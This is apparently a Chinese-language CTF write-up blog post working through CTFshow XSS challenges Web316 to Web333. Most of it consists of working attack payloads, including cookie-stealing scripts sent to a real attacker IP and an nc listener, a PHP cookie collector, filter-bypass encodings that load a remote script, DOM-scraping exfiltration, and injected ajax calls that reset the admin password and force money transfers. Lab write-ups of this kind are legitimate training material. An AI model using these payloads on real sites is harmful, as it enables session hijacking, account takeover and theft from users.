March 2, 2023

CTFSHOW-XSS

Web316

接下来开启XSS的时代!其实我老早就想玩XSS了,只是我觉得基础没打牢还不行

image-20221002180134597

题目页面如上,意思就是点了生成链接后,这个靶场后台有个机器人,会自动点进这个链接,达到XSS的目的,第一次讲,就来讲的很全面!

语法基础

我们学XSS肯定是需要一点js和DOM基础的(虽然我是零基础,但是慢慢学吧QWQ),dom就是document,是html的语法

参考:https://blog.csdn.net/zyhlwzy/article/details/7366814

https://www.yisu.com/zixun/143876.html

​ 假如:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>document.location.href='http://43.140.251.169/XSS.php'</script>
</body>
</html>

我们打开我们的html文件后,就自动跳转到这个页面,这叫做转发:

image-20221002181035940

  • -g<网关> 设置路由器跃程通信网关,最多可设置8个。
  • -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
  • -h 在线帮助。
  • -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  • -l 使用监听模式,管控传入的资料。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  • -p<通信端口> 设置本地主机使用的通信端口。
  • -r 乱数指定本地与远端主机的通信端口。
  • -s<来源位址> 设置本地主机送出数据包的IP地址。
  • -u 使用UDP传输协议。
  • -v 显示指令执行过程。
  • -w<超时秒数> 设置等待连线的时间。
  • -z 使用0输入/输出模式,只在扫描通信端口时使用

​ 我们常用的nc指令就是nc -lvnp 端口,如nc -lvnp 7777,就是监听本地的7777端口,当外部机子对本地机子传入了什么文件,传入了什么参数都可以监听

方法一

知道以上基础就好说了

题目的意思是cookie是admin,所以要用靶场的cookie,而不是我们本地的cookie

我们现在远程服务器写一个XSS.PHP:

1
2
3
4
5
6
7
8
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('flag.txt',$content);
}else{
echo 'no date input';
}

然后直接payload:

1
<script>document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie</script>

+是js里的连接符,这样就把cookie带出来了,我们在我们远程服务器目录下可以看到flag.txt:

image-20221002181406862

是不是很通俗易懂呢?

方法二

我们可以用nc指令去监听,payload在下面选一个就好了:

1
2
3
4
5
<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

我们用第一个,下面几条的语句我们接下来题目慢慢去发现,payload:

1
<script>document.location.href='http://43.140.251.169:7777/'+document.cookie</script>

虽然每次监听只能监听一个,但是我们能nc多次:

我们用的是腾讯云服务器,端口开发在这!反正我这台机子也没啥,我也不打码了QWQ,7777就是我设置的用来监听的端口

image-20221002190835459

然后我们 nc -lvnp 7777:

image-20221002191046673

flag成功被带出来拉!(这里要重复nc哦,因为我们自己本身也点了,不可以X自己)

Web317

image-20221002213031902

页面没改变,但是经过测试发现过滤了script

换一种标签就可以了,这下面选一个即可

1
2
3
4
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

来讲一下这些标签的意思:

<iframe>:https://wangdoc.com/html/iframe.html标签用于在网页里面嵌入其他网页

1
2
3
4
5
<iframe src="https://www.example.com"
width="100%" height="500" frameborder="0"
allowfullscreen sandbox>
<p><a href="https://www.example.com">点击打开嵌入页面</a></p>
</iframe>

上面的代码在当前网页嵌入https://www.example.com,显示区域的宽度是100%,高度是500像素。如果当前浏览器不支持<iframe>,则会显示一个链接,让用户点击。

Onloadhttps://www.runoob.com/jsref/event-onload.html

image-20221002213207087

Windowhttps://www.runoob.com/js/js-window.html

image-20221002213240163

这里不用window,直接把onload后面的东西改为documen.location.href也可以

Window.open:https://www.runoob.com/jsref/met-win-open.html

image-20221002213325874

onfocus,autofocus:https://www.runoob.com/tags/ev-onfocus.html

https://www.runoob.com/tags/att-input-autofocus.html

onfocus是input标签里的一个属性,表示当获取焦点时运行JavaScript脚本

autofocus也是input里的一个标签,和onfocus一般一起用,表示自动获取焦点,打个比方,假如有一个输入框,你点击后输入框就会变色,假如加了autofocus你不用点击输入框他就会自动变色

接下来可以在payload跳转到我们自己的VPS,也可以让它访问7777端口再监听

<body onload="document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie"></body>

or

<body onload="window.open('http://43.140.251.169/XSS.php?1='+document.cookie)"></body>

image-20221002214005030

image-20221002214017238

解决~

Web318

和上一题没啥区别,网上说ban了img,有啥问题吗,payload还是一样的

Web319

同上,不知道过滤了什么

Web320

经过测试发现ban掉了空格,可以用%0c,%09,/**/注释符或者/去绕过

<body/**/onload="document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie"></body>

%0c和%09不能直接在输入框打出,要在hackbar中url解码然后再复制过去

Web321

一开始没反应过来ban了什么,结果是ban了XSS这个字符串,没啥用

payload同上

<body/**/onload="document.location.href='http://43.140.251.169/X.php?1='+document.cookie"></body>

Web323-Web326

增加了什么过滤我不知道,我只知道上一题的payload还是可以X出来

绕过总结

过滤空格

过滤某些特殊字符

首先document.write将一个文本字符串写入一个由 document.open() 打开的文档流(document stream)。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>

<head>
<meta charset="UTF-8">
<title><code>document.write()</code> example</title>

<script>
function newContent() {
document.open();
document.write("<h1>Out with the old - in with the new!</h1>");
document.close();
}
</script>
</head>
<body onload="newContent();">
<p>Some original document content.</p>
</body>

</html>

image-20221003011433495

image-20221003011512840

用形如:

1
2
<body/οnlοad=“document.write(String.fromCharCode(32));document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(114));document.write(String.fromCharCode(73));document.write(String.fromCharCode(112));document.write(String.fromCharCode(116));document.write(String.fromCharCode(32));document.write(String.fromCharCode(115));document.write(String.fromCharCode(114));document.write(String.fromCharCode(67));document.write(String.fromCharCode(61));document.write(String.fromCharCode(47));document.write(String.fromCharCode(47));document.write(String.fromCharCode(120));document.write(String.fromCharCode(115));document.write(String.fromCharCode(46));document.write(String.fromCharCode(115));document.write(String.fromCharCode(98));document.write(String.fromCharCode(47));document.write(String.fromCharCode(89));document.write(String.fromCharCode(84));document.write(String.fromCharCode(85));document.write(String.fromCharCode(104));document.write(String.fromCharCode(62));document.write(String.fromCharCode(60));document.write(String.fromCharCode(47));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));”

这样的写法去写入即可

过滤了.

image-20221003011846387

然后eval会识别16进制的字符串,用形如下面这样的例子去绕过:

1
2
<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>
<!--document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,47,47,120,115,46,115,98,47,89,84,85,104,62,60,47,115,67,82,105,112,84,62));

上面的十六进制字符串可以用下列脚本来生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>"
res = ''
res2 = ''
for i in a:
tmp = ord(i)
res += str(tmp)
res+=","
res2 +=f"document.write(String.fromCharCode({str(tmp)}));"
# print(res)
# print(res2)
#-------------生成脚本分为上下2个,上面的是生成没过滤.的脚本---------------
a = "646f63756d656e742e777269746528537472696e672e66726f6d43686172436f64652836302c3131352c36372c3131342c37332c3131322c3131362c33322c3131352c3131342c36372c36312c34372c34372c3132302c3131352c34362c3131352c39382c34372c38392c38342c38352c3130342c36322c36302c34372c3131352c36372c38322c3130352c3131322c38342c363229293b"
z = 0
res = ''
for i in a:
if z ==2:
z=0
if z ==0:
res+=r"\x"
res += i
z+=1
print(res)

Web327(储存型XSS)

payload和最开始一题的是一样的啊,这题没有得到很好的体现

image-20221003155828774

这边是要我们给admin发一封邮件,所以收件人是admin,然后信的内容就是我们的代码了,储存箱XSS和反射性XSS的差别就是持久性,储存箱XSS只要你注入了,每次访问都会返回信息,这一题payload虽然一样但是是通过邮件的方式储存在了那里

Web328

先上payload:

1
<script>document.location.href='http://43.140.251.169/X.php?1='+document.cookie</script>

这一题也是储存型XSS:

image-20221003163505888

image-20221003163512101

有用户注册和用户管理界面,用户管理界面,管理员端肯定能看到我们的信息,所以我们输入的用户名和密码就是XSS注入点了,我们把上面的payload当成用户名注册一下,然后在我们的后台就可以看到管理员的cookie:

image-20221003163607942

把这个cookie给自己的浏览器装上,再访问用户管理界面就会自动跳转:

image-20221003163641684

我们看不到后台数据,因为访问的一瞬间就跳转过去了,所以我们需要抓包来看:

image-20221003163704900

一个个放包后就看见了flag

Web329

image-20221003170654086

和上一题一样,也是这个注册界面,但是用上一题的方法拿到cookie后会发现,你并不能以管理员身份登入,那我们就换种方式就好了,我们拿不到cookie就拿想要的内容,payload如下:

1
2
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://43.140.251.169/X.php?1='+value.innerHTML;}});</script>

这段js的意思就是从当前界面找到有ctfshow{的字段

image-20221003171843168

Web330

用上一题的payload不行,应该管理员所在界面并没有flag,这一题多了一个修改密码选项,说明我们可以用XSS修改管理员密码,先抓包:

image-20221003230902921

这是修改密码的抓包界面,地址是URL/api/change.php参数是p,我们制作payload:

1
<script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>

管理员搭建的靶场,本地肯定是127.0.0.1然后再登入管理员账号,密码是123,这样就拿到flag了,机会只有一次,假如之前输入了上一题的答案就会被污染

image-20221003234324251

这边可能是靶机有延迟吧,进去后手速要快,之后就会跳转了

Web331

这题修改密码的方式改为了post,我们用jquery中的ajax,不会写直接抄了QWQ

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>

输入完后也是可以修改管理员密码,上一题的页面也是这样

image-20221004000052654

Web332

这题就是一个逻辑漏洞了,首先我可以给自己赚钱,并且自己的钱不会减少只会增加:(一开始是5元)

image-20221004000521163

我给自己赚钱-10000我就可以得到10000,这其实也不算啥xss了

——————-warning———————–

以上的方法已经被修复了!这一题我们使用预期解

首先我们抓一下转账的包:

image-20221004000755671

可以发现接口是/api/amount.php,利用这个让管理员给我们转账10000元

构造payload:

1
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'boogipop',a:10000}});</script>

image-20221004001307040

其实或者,用burp直接爆破1w次貌似也可以

Web333(XSS结束)

和上一题思路差不多,也是转账

image-20221004001409404

和上一题一样,让管理员给我们转账就好了,payload同上

或者这次我们写个python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Author:@Boogipop
import requests
headers={
'cookie':'PHPSESSID=4f3o5emvovrmbfha8b0ee06bvm'
}
data={
'u':'boogipop',
'a':5
}
url='http://f6d876b7-0f8d-4deb-9431-bdc17d253e28.challenge.ctf.show/api/amount.php'
x=4
while True:
data = {
'u': 'boogipop',
'a': x
}
r=requests.post(url,data=data,headers=headers)
if x>10000:
print('-------done------')
break
else:
print('not enough')
x+=x

image-20221004002807186

怒刷金币

就告一段落啦大家SSTI再见~

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#CTFSHOW#RCE